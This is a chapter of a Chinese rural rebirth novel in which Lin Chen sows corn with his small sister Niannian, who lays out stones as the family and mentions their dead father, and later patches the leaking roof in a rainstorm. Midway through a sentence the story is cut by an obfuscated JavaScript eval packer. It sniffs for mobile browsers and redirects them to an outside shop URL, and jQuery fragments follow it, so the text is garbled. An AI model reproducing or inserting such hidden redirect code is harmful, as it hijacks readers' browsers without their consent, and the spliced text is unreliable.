玉米磨成面的第二天，林晨起了个大早。
天还没亮，灶房里已经亮了灯。母亲在熬糊糊，锅里咕嘟咕嘟冒着泡。林晨走进去，从水缸里舀了一瓢水，倒进灶台上的水壶里。
水壶里昨天还有半壶水，他没倒掉，直接把新水兑进去，晃了晃。灵泉水昨天晚上已经兑过了，今天不用再取。但他还是习惯性地晃了晃，像是在跟泉水做一个无声的约定。
“妈，今天播种？”
“嗯。”母亲往灶膛里添了根柴，“南坡，玉米。”
林晨蹲下来，帮她添柴。火光照着他的脸，暖洋洋的。
念念从炕上爬下来，自己穿鞋。左右穿反了，左脚穿了右脚的鞋，走起来一歪一歪的。
“念念，鞋穿反了。”熙熙蹲下来，帮她换过来。念念低头看着自己的脚，等熙熙换好了，踩了踩地，满意了。
“姐，今天我也去下地。”
“你去干啥？你又不会干活。”
“我会。”念念挺起胸，“我会捡石头。”
熙熙笑了：“地里没石头，石头都被捡光了。”
念念不信，扭头看林晨：“哥，地里有石头吗？”
“有。”林晨说，“你帮哥捡。”
念念高兴了，跑去灶房找母亲：“妈，哥让我去捡石头。”
母亲正在盛糊糊，头都没抬：“你哥下地是干活，你去捣乱。”
“我不捣乱。”念念急了，“我捡石头。”
林晨接过话：“妈，让她去吧，她待不住。”
母亲看了林晨一眼，没再说什么。
吃完饭，林晨扛着锄头，念念跟在后头。熙熙也要去，母亲不让：“你在家，把昨天那件褂子缝完。”
熙熙撅了撅嘴，坐回炕上，拿起针线。
念念出了院门，走得飞快。她今天穿了一双新鞋——奶奶做的，布底，黑面，鞋头绣了一朵小红花。她走了几步，低头看鞋，又走了几步，又低头看。
“念念，看路。”林晨喊她。
“在看。”念念指着鞋头的花，“哥，化。”
“看见了。”
“奶奶做的。”念念走得更快了，像生怕别人看不见她的新鞋。
村口老榆树下，已经聚了人。老队长站在中间，手里拿着工单。
“今天南坡播种，一组一组领种子。按人头分，一人一把。”
林晨领了自己那份玉米种子，五斤，掺了队里的优质种。他把种子装进口袋，蹲下来，对念念说：“念念，你跟着哥，别乱跑。”
“我不乱跑。”
“地上有石头就捡，没有就不捡。”
“好。”
南坡到了。
地已经翻过两遍了，土松软，踩上去陷脚。林晨站到自己那垄地前，按照李叔教的，先用锄头刨出一条浅沟，然后往沟里撒种子，一窝两粒，间隔一拃。
念念蹲在地头，手里攥着两块小石头，是她从路上捡的。她看林晨干活，看了一会儿，问：“哥，你在干啥？”
“种玉米。”
“玉米怎么长？”
“种子埋土里，浇水，晒太阳，就长了。”
“多久长出来？”
“快了。”林晨没敢说具体的，怕念念天天问。
念念“哦”了一声，低头看手里的石头，又抬头看天。
天灰蒙蒙的，云层很厚，太阳躲在云后面，光线暗沉沉的。
“哥，要下雨了。”
林晨抬头看了看天，云是灰的，但没下雨的意思。他想起前世有一年春耕，也是这样的天，后来没下，旱了两个月。
“不一定。”
“蚂依说的。”念念一本正经，“蚂依搬家了。”
林晨想起昨天念念蹲在墙根看蚂蚁的事，笑了。
“蚂依还说什么了？”
“蚂依说，要下雨了。”念念说得跟真的似的。
旁边垄上的李叔听见了，笑出声来：“你妹有意思，蚂依说话她都能听懂。”
林晨笑了笑，继续播种。
干到中午，太阳出来了。灰云散了，天蓝汪汪的。念念蹲在地头，把两块石头排成一排，又捡了两块，排成第二排。
“念念，你干啥呢？”
“摆石头。”念念头都不抬，“这是锅锅，这是姐，这是妈，这是爷爷，这是奶奶。”
“这是谁？”林晨指着最小的一块石头。
“念念。”
“你把自己摆这么小？”
“我本来就小。”念念把那块小石头放在最边上，又拿了一块大一点的，放在中间偏左，“这是爹。”
林晨手上的动作停了一下。
爹。
念念不知道什么叫“爹”。她出生的时候，父亲已经牺牲了。她没见过父亲，只在奶奶的嘴里听过“你爹是个大英雄”。
“念念，谁跟你说的？”
“奶奶。”念念把那块石头放好，左右看了看，满意了，“奶奶说，爹在墙上。”
墙上挂着烈士证。
林晨蹲下来，看着念念摆的那排石头。大大小小，歪歪扭扭，但每一块都有它的位置。
“念念，爹在这。”林晨把那块大一点的石头往中间挪了挪，“这是爹。”
“可是爹不在家。”
“爹在。”林晨声音不大，“爹一直在家。”
念念不明白，但她看见林晨的表情，没再问了。
中午歇晌，林晨坐在地头啃饼子。念念坐在他旁边，啃一块红薯。
“哥，你的饼子硬不硬？”
“不硬。”
“我的红薯软。”念念把红薯举到他嘴边，“你咬一口。”
林晨咬了一口。红薯是母亲早上蒸的，软糯，甜。
“好吃不？”
“好吃。”
念念笑了，低头继续啃。
下午继续播种。
林晨种完自己那垄，帮李叔种。李叔腰不好，蹲久了起不来，林晨让他坐在地头歇着，自己干。
“晨儿，你行啊。”李叔坐在田埂上，抽旱烟，“去年你还不怎么会干，今年跟换了个人似的。”
“练出来了。”
“练出来了好。”李叔吐了口烟，“你妈能松口气了。”
念念蹲在地头，石头摆了好几排。她摆了一个大圈，把所有人都围在里面。
“哥，你看。”
林晨看了一眼，石头的圈，像一个院子。
“这是咱家？”他问。
“嗯。”念念指着最大的那块石头，“这是锅锅。”
林晨笑了。
傍晚收工的时候，天边起了云。不是早上的灰云，是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508788|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑云，从西边压过来，沉甸甸的。
老队长在村口吹哨：“今天早点收工，要下雨了。”
林晨扛着锄头，牵着念念往家走。念念走得不快，边走边回头看石头。
“哥，石头还在那儿。”
“明天去还在。”
念念不信，但没回去捡。
到家的时候，雨点已经落下来了。先是几滴，大颗大颗的，砸在泥地上，溅起灰尘。然后密了，噼里啪啦，打在老榆树的叶子上，像炒豆子。
母亲站在灶房门口，看着雨幕，说：“这雨下得好，玉米能出苗了。”
念念站在门槛上，伸手接雨。雨水从指缝漏下去，她又接，又漏。
“念念，进来，淋湿了。”熙熙拉她。
“雨好次。”念念伸出舌尖舔了舔手心的雨水。
“雨水不能喝。”熙熙把她拽进来。
“能喝。哥说过，雨水最干净。”
林晨没说过这话，但没戳穿。
晚上，雨越下越大。房顶有几处漏了，母亲拿盆接，接了一盆又一盆。熙熙帮忙，念念也帮忙，拿着一个小碗，蹲在漏雨的地方等。
碗满了，她端到院子里倒了，又回来蹲着。
“念念，别弄了，衣服湿了。”母亲喊她。
“我帮妈。”
母亲看了她一眼，没再拦。
林晨搬了梯子，冒雨爬到房顶。雨打在脸上，睁不开眼。他摸到漏雨的地方，拿油毡盖上，压了几块砖。
下来的时候，全身湿透了。
母亲递给他一条干毛巾：“擦擦。”
念念跑过来，仰头看他：“哥，你身上湿了。”
“没事。”
“你冷不冷？”
“不冷。”
念念伸手摸了摸他的手，凉的，皱起眉头：“哥手凉。”
她把自己的小手盖在林晨手背上，像母亲给她暖手那样，捂了一会儿。
“好点没？”
林晨低头看着她严肃的小脸，心里又酸又软。
“好了。”
念念满意了，松开手，继续蹲到小碗旁边等雨。
夜里，雨停了。
林晨躺在炕上，听着屋檐滴水的声音，一滴一滴，像钟摆。念念睡在他旁边，小手攥着他的衣角。母亲在炕梢，呼吸匀匀的。
林晨摸出玉佩，闭上眼，进了空间。
玉米粒已经干透了，他装了三小袋，每袋五斤，码在木屋的架子上。
明天，他要掺一袋进家里的粮缸。不能多，一次五斤，看不出来。
他站在黑土地上，深深地吸了一口气。空气清甜，湿漉漉的，像刚下过雨。
他忽然想起念念说的——“雨好次。”
他不知道雨水是什么味道，但他知道，念念的健康、粮食的丰收、这个家一点一点好起来，都像这场雨一样，来得正是时候。
林晨灌了竹筒泉水，出来，兑进水壶。
躺在炕上，他睁开眼，听着屋檐滴水的声音，一滴一滴。
念念翻了个身，含含糊糊地喊了一声：“哥。”
“嗯。”林晨应了一声。
念念没再说话，呼吸又匀了。
林晨闭上眼。
窗外，雨后的风从老榆树的叶子间穿过来，带着泥土的湿气，凉丝丝的。